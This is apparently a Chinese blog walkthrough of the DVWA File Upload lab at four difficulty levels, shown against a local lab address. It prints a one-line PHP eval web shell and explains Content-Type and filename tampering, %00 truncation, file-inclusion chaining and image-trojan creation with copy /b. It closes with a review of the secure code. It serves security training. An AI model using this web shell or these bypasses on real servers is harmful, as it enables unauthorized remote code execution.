• DVWA_File Upload 文件上传 抓包改包传木马 图片马的制作 Impossible的代码审计


    鸣谢(本文大部分内容均转载自):

    http://www.storysec.com/dvwa-file-upload.html

    文件上传漏洞是指服务器在接收用户上传的文件的时候,没有严格地加以限制和过滤,

    如果黑客上传了木马,也就是常说的“挂马”,进而拿到了webshell,就可以为所欲为了,嘿嘿嘿嘿嘿嘿嘿嘿嘿~~~~

    Low:

    if( isset( $_POST[ 'Upload' ] ) ) { 
        // Where are we going to be writing to? 
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";  //网站根目录+上传文件目录
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );  //加上取上传文件的名字
    
        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    

      

    对我们上传的文件的类型几乎没有任何限制,上传一个最简单的一句话木马即可

    <?php @eval($_POST['zzz']); ?>
    

    得到在:http://192.168.141.129/dvwa/vulnerabilities/upload/#

    下的路径:../../hackable/uploads/shell.php

    即:http://192.168.141.129/dvwa/hackable/uploads/shell.php

    菜刀一连即可成功

    Medium:

    // File information 
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    
        // Is it an image? 
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
            ( $uploaded_size < 100000 ) ) { 
    

      对上传的文件的类型和大小进行了检验和筛选——只有jpeg/png才能上传成功,且大小必须小于100000b

    有三种方式拿webshell,首先介绍两种:

    我们的目标很明确——上传一个.php的木马,但是要绕过服务器的格式检验。

    那么服务器是如何检验我们上传的文件的格式的呢?很简单——通过检查我们上传的文件的type属性(FILES['uploaded']['type'])

    而最后存储在服务器的文件,它的格式由什么决定的呢?是由它的名字,而它的名字又由什么决定的呢——上传的文件的name属性(FILES['uploaded']['name'])

    		<form enctype="multipart/form-data" action="#" method="POST">
    			<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
    			Choose an image to upload:<br /><br />
    			<input name="uploaded" type="file" /><br />
    			<br />
    			<input type="submit" name="Upload" value="Upload" />
    
    		</form>
    

      这是上传表单的源代码,可以看到,FILES['uploaded']确定了我们上的文件

    所以有两种payload:

    1、本地为shell.php,通过改包,将其Content-Type属性改为image/jpeg

    Content-Type属性一旦被改为image/jpeg,FILES['uploaded']['type']取出来的就是'jpeg',绕过了检验,

    但是此时它的名字filename是shell.php,最后存储在服务器上的仍然是shell.php,菜刀一连,成功

    2、本地为shell.jpeg,通过改包,将其filename改成.php格式的文件

    这样,最后服务器也会把它当成php文件保存

    无论是哪种方式,bp改包之后都应该是:

    Payload3:

    还可以直接上传.png文件,不过没法执行、、

    所以我们可以和文件包含攻击的Medium结合起来,用?page包含了我们的shell.png,然后菜刀一连....

    Medium的文件包含可以绝对路径本地包含也可以远程文件包含,所以在菜刀中如此编辑:

    http://192.168.141.129/dvwa/vulnerabilities/fi/?page=C:phpStudyphpTutorialWWWdvwahackableuploadsshell.png

    http://192.168.141.129/dvwa/vulnerabilities/fi/?page=htthttp://://wwwdvwahackableuploadsshell.png

    High:

     核心检验代码:

    // File information 
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 
    
        // Is it an image? 
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 
            ( $uploaded_size < 100000 ) && 
            getimagesize( $uploaded_tmp ) ) { 
    

      substr(string,index):返回string从index开始剩下得所有部分

      strrops(string,find):返回find在string中最后一次出现的位置

    substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)
    

      也就是取出了文件的扩展名

      getimagesize()用以获取文件大小等信息,更是严格限制了文件类型必须为图片类型

    所以我们必须要绕过两个东西:

    1、扩展名检验

    2、getimagesize()检验

    关于扩展名检验很简单,可以利用%00截断,也可以利用文件包含攻击

    下面是如何绕过getimagesize()检验:

    有过MISC经验的同学,一定对图像文件头有了解:

    JPEG/JPG:文件头标识:FF D8 文件尾标识:FF D9

    PNG:文件头标识:89 50 4E 4F 0D 0A 1A 0A

    图片马 的制作:

    cmd下:

    copy a.png/b+b.php/a c.png

    然后直接上传即可,不用抓包改包

    菜刀一连,可拿webshell

    Impossible:

    <?php 
    
    if( isset( $_POST[ 'Upload' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
    
        // File information 
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 
    
        // Where are we going to be writing to? 
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; 
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; 
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 
        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); 
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 
    
        // Is it an image? 
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && 
            ( $uploaded_size < 100000 ) && 
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && 
            getimagesize( $uploaded_tmp ) ) { 
    
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 
            if( $uploaded_type == 'image/jpeg' ) { 
                $img = imagecreatefromjpeg( $uploaded_tmp ); 
                imagejpeg( $img, $temp_file, 100); 
            } 
            else { 
                $img = imagecreatefrompng( $uploaded_tmp ); 
                imagepng( $img, $temp_file, 9); 
            } 
            imagedestroy( $img ); 
    
            // Can we move the file to the web root from the temp folder? 
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { 
                // Yes! 
                echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; 
            } 
            else { 
                // No 
                echo '<pre>Your image was not uploaded.</pre>'; 
            } 
    
            // Delete any temp files 
            if( file_exists( $temp_file ) ) 
                unlink( $temp_file ); 
        } 
        else { 
            // Invalid file 
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
        } 
    } 
    
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    
    ?> 
    

      基本可以被打到自闭了、、、、

       这里可以看到,对文件名进行了md5加密,几乎不可能%00截断绕过了

  • 相关阅读:
    解决Python开发中,Pycharm中无法使用中文输入法问题
    PointNet++作者的视频讲解文字版
    StringBuilder
    DropDownList 添加“请选择”
    SQLServer 2008中SQL增强之三 Merge(在一条语句中使用
    ASP.NET Web Forms 的 DI 應用範例
    怎么设置环境变量
    ParameterizedThreadStart,ThreadStart的使用,线程Thread传参数
    异步删除
    SqlCommandBuilder的作用
  • 原文地址:https://www.cnblogs.com/huangming-zzz/p/9900435.html
Copyright © 2020-2023  润新知